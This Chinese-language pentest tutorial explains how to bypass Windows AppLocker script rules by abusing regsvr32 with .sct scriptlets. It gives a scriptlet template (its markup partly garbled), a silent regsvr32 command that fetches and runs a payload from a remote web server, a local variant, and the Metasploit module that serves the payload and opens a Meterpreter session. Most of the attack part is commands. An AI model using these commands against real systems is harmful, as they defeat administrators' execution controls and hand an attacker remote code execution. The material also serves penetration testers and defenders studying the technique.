AppLocker的設(shè)計初衷就是為了幫助管理員Windows安裝文件,可執(zhí)行文件以及用戶腳本的執(zhí)行。從各種各樣的奇淫巧計中我們得知這些限制是可以繞過的,例如在windows環(huán)境下通過AppLocker配置以限制腳本的執(zhí)行,利用regsrv32命令行工具就可以完成繞過。

regsvr32是windows命令行實用工具用于注冊動態(tài)鏈接庫文件,向系統(tǒng)注冊控件或者卸載控件的命令。Casey Smith發(fā)現(xiàn)通過調(diào)用regsrv32實用程序執(zhí)行一條命令或者.sct文件有可能繞過AppLocker的腳本規(guī)則。由于該實用程序是由微軟官方簽名的所以好處多多啦,支持TLS加密,遵循重定向方式,不會在磁盤上留下痕跡。
以下腳本為Casey Smith提供的代碼修改版,我們僅調(diào)用 calc.exe或cmd.exe。如果允許使用命令行提示符,腳本將在目標(biāo)系統(tǒng)上執(zhí)行自定義二進(jìn)制代碼:
scriptlet>
registration
progid="Pentest"
classid="{F0001111-0000-0000-0000-0000FEEDACDC}" >
script language="JScript">
script>
registration>
scriptlet>
regsvr32實用工具可從托管的web服務(wù)器上請求以及執(zhí)行腳本:
regsvr32 /u /n /s /i:http://ip:port/payload.sct scrobj.dll

regsrv32指令選項:
/s 靜默執(zhí)行
/n 指定不調(diào)用DllRegisterServer,此選項必須與/i共同使用
/i 調(diào)用DllInstall將它傳遞到可選的[cmdline],在與 /u 共同使用時,它調(diào)用DllUnstall
/u 反注冊控件
當(dāng)然也可以利用regsvr32在本地運(yùn)行存儲的有效載荷:
regsvr32 /u /n /s /i:payload.sct scrobj.dll
該命令將直接從托管文件的web服務(wù)器上執(zhí)行腳本,嵌入.sct文件的JavaScript代碼將引導(dǎo)pentestlab3.exe程序在命令提示符下執(zhí)行。

由于pentestlab3是一個Metasploit payload,所以隨后會打開一個Meterpreter會話:

當(dāng)然,直接執(zhí)行腳本還是會被攔截。但通過上面方法使用regsvr32進(jìn)行繞過是可以的。

Metasploit
Metasploit框架有一個特定的有效載荷,可用于通過Regsvr32實用程序?qū)崿F(xiàn)自動化繞過AppLocker
exploit/windows/misc/regsvr32_applocker_bypass_server
該模塊將啟用一個用于存儲惡意.sct文件的web服務(wù),同時也提供用于在目標(biāo)系統(tǒng)下執(zhí)行的命令

命令執(zhí)行后regsvr32將從web服務(wù)器請求.sct文件,然后執(zhí)行PowerShell payload

最后成功繞過繞過AppLocker限制

|